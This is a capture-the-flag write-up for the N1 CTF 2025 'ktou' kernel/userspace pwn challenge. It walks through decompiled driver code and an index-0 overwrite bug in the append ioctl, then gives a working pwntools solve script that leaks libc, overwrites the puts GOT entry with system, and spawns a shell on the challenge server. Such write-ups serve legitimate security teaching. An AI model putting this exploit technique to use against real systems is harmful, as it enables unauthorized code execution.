Post

N1 CTF 2025

pwn/ktou

(forgot to copy description)

Attachment: attachment.zip

Analysis

We are provided the following files

1
2
3
4
5
$ file *
bzImage:    Linux kernel x86 boot executable, bzImage, version 6.2.11 (root@elegy) #1 SMP PREEMPT_DYNAMIC Thu Oct 30 07:00:05 UTC 2025, RO-rootFS, Normal VGA, setup size 512*28, syssize 0xbd558, jump 0x26c 0x8cd88ec0fc8cd239 instruction, protocol 2.15, from protected-mode code at offset 0x3a8 0xbc5994 bytes gzip compressed, relocatable, handover offset 0x190, legacy 64-bit entry point, can be above 4G, 32-bit EFI handoff entry point, 64-bit EFI handoff entry point, EFI kexec boot support, xloadflags bit 5, max cmdline size 2047, init_size 0x299a000
ktou.ko:    ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=1f80760957440e37882340710e293b1f78fc9dba, not stripped
rootfs.img: Linux rev 1.0 ext4 filesystem data, UUID=f2c5aaf0-3441-467d-a625-ac323e1b5f02 (extents) (64bit) (large files) (huge files)
run.sh:     Bourne-Again shell script, ASCII text executable

With ./run.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
qemu-system-x86_64 \
    -m 256M \
    -cpu kvm64,+smep,+smap \
    -smp cores=2,threads=2 \
    -kernel bzImage \
    -hda ./rootfs.img \
    -nographic \
    -monitor /dev/null \
    -snapshot \
    -append "console=ttyS0 root=/dev/sda rw rdinit=/sbin/init kaslr pti=on quiet oops=panic panic=1" \
    -drive file=/flag,if=virtio,format=raw,readonly=on \
    -no-reboot

we can start the vm and see that we are dropped into a userspace binary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[    2.082392] fail to initialize ptp_kvm

Boot took 3.69 seconds

Successfully connected to kernel module
Program description initialized:
  Description : Default Program Description
  Description size: 0x200
  Magic: 0xDEADBEEF

=== Welcome to ktou, now start your interaction. ===
1. Read
2. Write
3. Append
4. Show program description
5. Update program description
6. Show menu
0. Exit
Please select an option:
>

To get an idea of what’s really happening after boot, I will mount the rootfs.img and explore the init file

1
2
3
4
5
6
$ sudo losetup --find --show rootfs.img
/dev/loop0
$ mkdir mnt
$ sudo mount /dev/loop0 mnt
$ sudo chown vulnx:vulnx -R mnt
$ cat mnt/etc/init.d/rcS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/sh
chown -R root:root /
chmod 700 /root
chown -R ctf:ctf /home/ctf

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mkdir /dev/pts
mount -t devpts devpts /dev/pts

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

insmod /root/ktou.ko

chmod 666 /dev/ktou_dev
chmod 666 /root/user

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
cp /root/user /home/ctf/user
chmod 777 /home/ctf/user
chmod 444 /home/ctf/flag

cd /home/ctf
setsid cttyhack su ctf -c /home/ctf/user
# setsid cttyhack setuidgid 100 sh
poweroff -d 0  -f

From the above script, we come to know that:

  • It loads the /root/ktou.ko driver
  • Copies the flag to user’s home directory and markes it as readable
  • Runs the /root/user binary (copied over to home/ctf/user) as the init process

Kernel Driver

Let’s first analyse the driver with IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
__int64 ioctl_init()
{
  int v0; // eax
  __int64 v1; // rsi

  v0 = _register_chrdev(0LL, 0LL, 256LL, "ktou_dev", &fops);
  major_number = v0;
  if ( v0 < 0 )
  {
    printk(&unk_610, (unsigned int)v0);
    return (unsigned int)major_number;
  }
  else
  {
    ioctl_class = _class_create(&_this_module, "ktou_class", &write_offset);
    if ( (unsigned __int64)ioctl_class > 0xFFFFFFFFFFFFF000LL )
    {
      _unregister_chrdev((unsigned int)major_number, 0LL, 256LL, "ktou_dev");
      printk(&unk_6DA, 0LL);
      return (unsigned int)ioctl_class;
    }
    else
    {
      ioctl_device = device_create(ioctl_class, 0LL, (unsigned int)(major_number << 20), 0LL, "ktou_dev");
      if ( (unsigned __int64)ioctl_device > 0xFFFFFFFFFFFFF000LL )
      {
        class_destroy(ioctl_class);
        _unregister_chrdev((unsigned int)major_number, 0LL, 256LL, "ktou_dev");
        printk(&unk_6F4, 0LL);
        return (unsigned int)ioctl_device;
      }
      else
      {
        cdev_init(&ioctl_cdev, &fops);
        qword_EA0 = (__int64)&_this_module;
        if ( (int)cdev_add(&ioctl_cdev, (unsigned int)(major_number << 20), 1LL) < 0 )
        {
          device_destroy(ioctl_class, (unsigned int)(major_number << 20));
          class_destroy(ioctl_class);
          _unregister_chrdev((unsigned int)major_number, 0LL, 256LL, "ktou_dev");
          printk(&unk_70F, 0LL);
          return 0xFFFFFFFFLL;
        }
        else
        {
          memory_pool = kmalloc_trace(kmalloc_caches[12], 0xCC0LL, 4096LL);
          if ( memory_pool )
          {
            v1 = (unsigned int)major_number;
            memset((void *)memory_pool, 0, 0x1000uLL);
            printk(&unk_660, v1);
            return 0LL;
          }
          else
          {
            cdev_del(&ioctl_cdev);
            device_destroy(ioctl_class, (unsigned int)(major_number << 20));
            class_destroy(ioctl_class);
            _unregister_chrdev((unsigned int)major_number, 0LL, 256LL, "ktou_dev");
            printk(&unk_638, 0LL);
            return 4294967284LL;
          }
        }
      }
    }
  }
}

TLDR for above:

  1. Allocate 1 page (4096 bytes) memory pool for handling user data
  2. Create a character device at /dev/ktou_dev
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
__int64 __fastcall device_ioctl(__int64 a1, __int64 a2, __int64 arg)
{
  unsigned __int8 sz; // bl
  unsigned __int64 v4; // rsi
  unsigned int req; // eax
  __int16 v7; // di
  __int64 v8; // rsi
  unsigned __int64 mode; // [rsp+0h] [rbp-30h] BYREF
  __int64 u_buf; // [rsp+8h] [rbp-28h]
  unsigned __int64 canary; // [rsp+10h] [rbp-20h]

  canary = __readgsqword(0x28u);
  if ( copy_from_user(&mode, arg, 16LL) )
    return -14LL;
  sz = mode;
  v4 = mode >> 8;
  req = BYTE3(mode);
  if ( BYTE1(mode) <= 15u )
  {
    if ( req == 3 )
    {
      v7 = mode + write;
      v8 = (unsigned __int8)write + (unsigned int)(unsigned __int8)mode;
      mode += write;
      write_offset = (unsigned __int8)(sz + write);
      if ( (unsigned int)v8 > 0x100 )
      {
        printk(&unk_5E8, v8);
      }
      else if ( !copy_from_user(&memory_pool[(unsigned __int8)write + (unsigned __int64)(v7 & 0xF00)], u_buf, sz) )
      {
        printk(&unk_5B0, BYTE1(mode));
        return 0LL;
      }
      return -14LL;
    }
    if ( ((mode >> 24) & 252) != 0 )
    {
      if ( req == 4 )
      {
        printk(&unk_691, BYTE1(mode));
        return 0LL;
      }
    }
    else
    {
      if ( req == 1 )
      {
        copy_to_user(u_buf, &memory_pool[256 * BYTE1(mode)], (unsigned __int8)mode);
        printk(&unk_588, (unsigned __int8)v4);
        return 0LL;
      }
      if ( req == 2 )
      {
        if ( !copy_from_user(&memory_pool[256 * BYTE1(mode)], u_buf, (unsigned __int8)mode) )
        {
          write += sz;
          write_offset = sz;
          printk(&unk_5B0, (unsigned __int8)v4);
          return 0LL;
        }
        return -14LL;
      }
    }
    printk(&unk_6A8, req);
    return -22LL;
  }
  return -22LL;
}

TLDR for above:

  • Typically ioctls use the following convention (struct file *fp, unsigned int cmd, unsigned long arg)
  • However, this one seems to ignore cmd, rather uses arg as a userspace memory pointer to a struct of following definition
    1
    2
    3
    4
    
    struct {
      unsigned long mode;
      char *u_buf;
    }
    
  • It copies it to the kernel stack and splits the mode into following segments
Byte offsetField
0size
1index
2unused (00)
31 => read
2 => write
3 => append
4-7unused (00)
  • In read mode, it copies size bytes from index offset into the memory pool, to the userspace buffer
  • In write mode, it copies size bytes from userspace buffer into index offset into the memory pool
  • In append mode, it copies size bytes from userspace buffer into the end of the data at index offset in the memory pool
  • Along with that, the driver also uses 2 global variables: write and write_offset to count the total number of bytes written and the offset to where the append starts

Very straightforward driver, not very complicated.

Userspace client

Now let’s take a look at the userspace client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int *v3; // rax
  char *v4; // rax
  int choice; // [rsp+Ch] [rbp-14h] BYREF
  int again; // [rsp+10h] [rbp-10h]
  int fd; // [rsp+14h] [rbp-Ch]
  unsigned __int64 canary; // [rsp+18h] [rbp-8h]

  canary = __readfsqword(0x28u);
  again = 1;
  init();
  fd = open("/dev/ktou_dev", 2);
  if ( fd >= 0 )
  {
    puts("Successfully connected to kernel module");
    default(fd);
    menu();
    while ( again )
    {
      printf("\n> ");
      if ( (unsigned int)__isoc99_scanf("%d", &choice) == 1 )
      {
        getchar();
        switch ( choice )
        {
          case 0:
            again = 0;
            puts("Exiting program");
            break;
          case 1:
            read_0((unsigned int)fd);
            break;
          case 2:
            write_0((unsigned int)fd, 0LL);
            break;
          case 3:
            write_0((unsigned int)fd, 1LL);
            break;
          case 4:
            banner((unsigned int)fd);
            break;
          case 5:
            update((unsigned int)fd);
            break;
          case 6:
            menu();
            break;
          default:
            puts("Invalid selection, please try again");
            break;
        }
      }
      else
      {
        puts("Invalid input, please enter a number");
        while ( getchar() != 10 )
          ;
      }
    }
    close(fd);
    return 0LL;
  }
  else
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    fprintf(stderr, "Failed to open device file %s: %s\n", "/dev/ktou_dev", v4);
    fwrite("Please ensure kernel module is loaded\n", 1uLL, 0x26uLL, stderr);
    return 0xFFFFFFFFLL;
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
__int64 __fastcall read_0(int fd)
{
  unsigned int idx; // [rsp+14h] [rbp-2Ch] BYREF
  unsigned int sz; // [rsp+18h] [rbp-28h] BYREF
  int n_4; // [rsp+1Ch] [rbp-24h]
  _QWORD payload[4]; // [rsp+20h] [rbp-20h] BYREF

  payload[3] = __readfsqword(0x28u);
  idx = 0;
  sz = 0;
  banner(fd);
  memset(buf, 0, 256uLL);
  printf("Index (1-%d): ", 15);
  if ( (unsigned int)__isoc99_scanf("%u", &idx) == 1 )
  {
    getchar();
    validate_idx(idx);
    printf("Size (1-%d): ", 255);
    if ( (unsigned int)__isoc99_scanf("%u", &sz) == 1 )
    {
      getchar();
      validate_sz(sz);
      payload[0] = ((unsigned __int64)idx << 8) | sz | 0x1000000;
      payload[1] = buf;
      n_4 = ioctl(fd, 0LL, payload);
      if ( n_4 >= 0 )
      {
        printf("Content: ");
        if ( sz > 0xFF )
          byte_40521F = 0;
        else
          buf[sz] = 0;
        puts(buf);
        write(1, buf, sz);
        putchar(10);
        return 0LL;
      }
      else
      {
        perror("ioctl READ failed");
        return 0xFFFFFFFFLL;
      }
    }
    else
    {
      puts("Invalid input");
      while ( getchar() != 10 )
        ;
      return 0xFFFFFFFFLL;
    }
  }
  else
  {
    puts("Invalid input");
    while ( getchar() != 10 )
      ;
    return 0xFFFFFFFFLL;
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
__int64 __fastcall write_0(int fd, int mode)
{
  const char *v3; // rax
  unsigned int idx; // [rsp+1Ch] [rbp-34h] BYREF
  unsigned int sz; // [rsp+20h] [rbp-30h] BYREF
  int nbytes_4; // [rsp+24h] [rbp-2Ch]
  ssize_t v7; // [rsp+28h] [rbp-28h]
  _QWORD v8[4]; // [rsp+30h] [rbp-20h] BYREF

  v8[3] = __readfsqword(0x28u);
  idx = 0;
  sz = 0;
  banner(fd);
  memset(buf, 0, 0x100uLL);
  printf("Index (1-%d): ", 15);
  if ( (unsigned int)__isoc99_scanf("%u", &idx) == 1 )
  {
    getchar();
    validate_idx(idx);
    printf("Size (1-%d): ", 255);
    __isoc99_scanf("%u", &sz);
    getchar();
    validate_sz(sz);
    printf("Data (up to %d bytes): \n", sz);
    v7 = read(0, buf, sz);
    if ( v7 >= 0 )
    {
      if ( v7 < sz )
        memset(&buf[v7], 0, sz - v7);
      if ( mode )
        v8[0] = ((unsigned __int64)idx << 8) | sz | 0x3000000;
      else
        v8[0] = ((unsigned __int64)idx << 8) | sz | 0x2000000;
      v8[1] = buf;
      nbytes_4 = ioctl(fd, 0LL, v8);
      if ( nbytes_4 >= 0 )
      {
        if ( mode )
          v3 = "appended";
        else
          v3 = "wrote";
        printf("Write successful: %s %d bytes to index %d\n", v3, sz, idx);
        return 0LL;
      }
      else
      {
        perror("ioctl WRITE failed");
        return 0xFFFFFFFFLL;
      }
    }
    else
    {
      perror("read failed");
      return 0xFFFFFFFFLL;
    }
  }
  else
  {
    puts("Invalid input");
    while ( getchar() != 10 )
      ;
    return 0xFFFFFFFFLL;
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 __fastcall banner(int fd)
{
  _QWORD payload[2]; // [rsp+20h] [rbp-30h] BYREF
  void *desc; // [rsp+30h] [rbp-20h] BYREF
  int v4; // [rsp+38h] [rbp-18h]
  unsigned __int64 v5; // [rsp+48h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  payload[0] = 0x1000010LL;
  payload[1] = &desc;
  if ( ioctl(fd, 0LL, payload) >= 0 )
  {
    if ( v4 != 0xDEADBEEF )
      printf("Warning: Program description magic number mismatch (0x%08X)\n", v4);
    puts("\n=== Program Description ===");
    printf("Magic: 0x%08X\n", v4);
    puts("Description content: ");
    write(1, desc, 0x200uLL);
    puts("\n===========================");
  }
  else
  {
    perror("Failed to read program description");
  }
  return v5 - __readfsqword(0x28u);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
unsigned __int64 __fastcall update(int fd)
{
  int b64_len; // [rsp+10h] [rbp-240h] BYREF
  int i; // [rsp+14h] [rbp-23Ch]
  int v4; // [rsp+18h] [rbp-238h]
  int desc_len; // [rsp+1Ch] [rbp-234h]
  _QWORD payload[2]; // [rsp+20h] [rbp-230h] BYREF
  char *buffer; // [rsp+30h] [rbp-220h] BYREF
  int magic; // [rsp+38h] [rbp-218h]
  char desc[520]; // [rsp+40h] [rbp-210h] BYREF
  unsigned __int64 v10; // [rsp+248h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  memset(desc, 0, 512);
  i = 0;
  payload[0] = 0x1000010LL;
  payload[1] = &buffer;
  v4 = ioctl(fd, 0LL, payload);
  if ( v4 >= 0 )
  {
    if ( magic != 0xDEADBEEF )
      printf("Warning: Magic number mismatch (expected 0xDEADBEEF, got 0x%08X)\n", magic);
    printf("Enter new program description:");
    memset(desc, 0, 496uLL);
    read(0, desc, 496uLL);
    for ( i = 0; i <= 495; ++i )
    {
      if ( desc[i] && desc[i] != 10 && (desc[i] <= 31 || desc[i] > 125) )
      {
        printf("Error : Error input");
        exit(0);
      }
    }
    desc_len = strlen(desc);
    b64_len = 0;
    b64_decode(desc, buffer, (unsigned __int16 *)&b64_len);
    printf("write sucess! %d bytes,your new content is", b64_len);
    puts(description);
  }
  else
  {
    perror("Failed to read program description from kernel");
  }
  return v10 - __readfsqword(0x28u);
}

And most importantly,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 __fastcall default(int fd)
{
  _QWORD v2[3]; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(description, 0, 0x200uLL);
  strncpy(description, "Default Program Description", 511uLL);
  ptr_description = (__int64)description;
  magic = 0xDEADBEEF;
  v2[0] = 0x2000010LL;
  v2[1] = &ptr_description;
  if ( ioctl(fd, 0LL, v2) < 0 )
  {
    perror("Failed to initialize program description");
    exit(1);
  }
  puts("Program description initialized:");
  printf("  Description : %s\n", description);
  printf("  Description size: 0x%X\n", 512);
  printf("  Magic: 0x%08X\n", magic);
  return v3 - __readfsqword(0x28u);
}

Alright, so let’s discuss what’s going on here.

This userspace client is just a fancy wrapper used to call the ioctls provided by the driver. The driver allows you to store/retrieve data to/from the kernel memory pool. The data are categorised into 256 byte chunks. We can specify whether we want to read/write(/append) to a chunk.

Vulnerability

One important thing to note is that the program reserves index 0 for the program description and we cannot read/write(/append) there because of sufficient sanity checks in validate_idx function.

Overall it seems like there’s no apparent buffer overflow/index overflow etc.

Interestingly, the binary compiled with NO pie and PARTIAL relro:

1
2
3
4
5
6
7
8
9
$ checksec user
[*] '/home/vulnx/ctf/n1/pwn/ktou/user'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled

These deliberate disabling of protections hint at overwriting entries of the Global Offset Table to achieve code execution.

A very peculiar implementation detail we can observe is that the program description is not stored as a string literal in the memory pool, instead its .bss address is stored. For example if the memory pool gets allocated at address 4000 and we insert data “AAAA” at index 1 and “BBBB” at index 3, then the memory looks somewhat like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
                 memory_pool
                 ───────────

4000  ┌──────────────────────────────────────────────┐
      │  0x405220  (address of description)          │
4256  ├──────────────────────────────────────────────┤
      │  AAAA                                        │
4512  ├──────────────────────────────────────────────┤
      │  zeroed out                                  │
4768  ├──────────────────────────────────────────────┤
      │  BBBB                                        │
 .... ├──────────────────────────────────────────────┤
      │  ...                                         │
      └──────────────────────────────────────────────┘

This means that if we can somehow write to index 0 then we can overwrite the description address, and then combined with the update functionality, we can write data at any desired address, thus obtaining an AAR (arbitrary address write) primitive.

Obviously, we cannot write to index 0 directly. This is where the update functionality, comes into picture. While it does technically block index 0 as well, but since this is slightly more complicated to implement, hence we can exploit potential errors in this code path.

Let’s revisit the kernel code for the update part:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    if ( req == 3 )
    {
      v7 = mode + write;
      v8 = (unsigned __int8)write + (unsigned int)(unsigned __int8)mode;
      mode += write;
      write_offset = (unsigned __int8)(sz + write);
      if ( (unsigned int)v8 > 0x100 )
      {
        printk(&unk_5E8, v8);
      }
      else if ( !copy_from_user(&memory_pool[(unsigned __int8)write + (unsigned __int64)(v7 & 0xF00)], u_buf, sz) )
      {
        printk(&unk_5B0, BYTE1(mode));
        return 0LL;
      }
      return -14LL;
    }

We would like (unsigned __int8)write + (unsigned __int64)(v7 & 0xF00) to evaluate to 0. Is it possible to do so while keeping the index != 0?

Mathematically for the above expression to be equated to 0, both of the conditions must satisfy:

  1. (unsigned __int8)write == 0 - NOTE: write does not necessarily need to be 0. Only the lower 8 bits are required. So in fact, any multiple of 0x100 would satisfy.
  2. (unsigned __int64)(v7 & 0xF00) == 0 - This means that the 3rd nibble of v7 must be 0

Let’s assume we set write = 0x100 to satisfy [1].

Now to satisfy [2] the only remaining choice for mode is to take 0x...fXX. Because now after addition, v7 becomes (__int16)(0xfXX + 0x100) = (__int16)(0x10XX)) and then v7 & 0xF00 becomes 0.

So mode being 0x...fXX equates to XX being the size, and 0x0f being index 15.

Exploit

This way we can overwrite index 0 and change description to point to the GOT.

After that we can read any solved entry and obtain a libc leak.

Next we can use the update functionality to overwrite a GOT entry (I target puts) and replace it with system.

The reason I do this is because, I can create a chunk at index 1 containing the string "/bin/sh". And then when I read it out, the program will call puts(data) which will equate to system("/bin/sh") and will get us our shell.

Final solve script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python

from pwn import *

exe = ELF('./user')
libc = ELF('./libc.so.6')

# io = process('./run.sh')
io = remote('60.205.163.215', 51735)

log.info('waiting for vm...')
io.recvuntil(b'Successfully connected to kernel module')
log.success(f'vm attached')

def write(idx, sz, data):
	io.sendlineafter(b'> ', b'2')
	io.sendlineafter(b': ', f'{idx}'.encode())
	io.sendlineafter(b': ', f'{sz}'.encode())
	io.sendlineafter(b':', data)

def append(idx, sz, data):
	io.sendlineafter(b'> ', b'3')
	io.sendlineafter(b': ', f'{idx}'.encode())
	io.sendlineafter(b': ', f'{sz}'.encode())
	io.sendlineafter(b':', data)

def banner():
	io.sendlineafter(b'> ', b'4')

def update_desc(desc):
	io.sendlineafter(b'> ', b'5')
	io.sendlineafter(b':', desc)

binsh = b'/bin/sh\x00'
write(1, len(binsh), binsh)
write(2, 0x100-0x18, cyclic(0x100-0x18))
append(15, 8, p64(0x405030))
banner()
io.recvuntil(b'Description content: ')
io.recvline()
libc_leak = u64(io.recv(8))
log.info(f'{hex(libc_leak) = }')
libc.address = libc_leak - libc.sym.puts
log.success(f'{hex(libc.address) = }')
update_desc(b64e(p64(libc.sym.system)).encode())

io.sendline(b'1\n1\n8')
io.recvuntil(b'$')
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ./solve.py
...
[*] waiting for vm...
[+] vm attached
[*] hex(libc_leak) = '0x7ff87db60e50'
[+] hex(libc.address) = '0x7ff87dae0000'
[*] Switching to interactive mode
 $ ls -l
ls -l
total 20
lrwxrwxrwx    1 ctf      ctf              8 Oct 31 09:04 flag -> /dev/vda
-rwxrwxrwx    1 root     root         18768 Nov  4 19:14 user
~ $ $ cat flag
cat flag
flag{21d0032b-9d18-4e8e-9096-d499b42c7bcc}
This post is licensed under CC BY 4.0 by the author.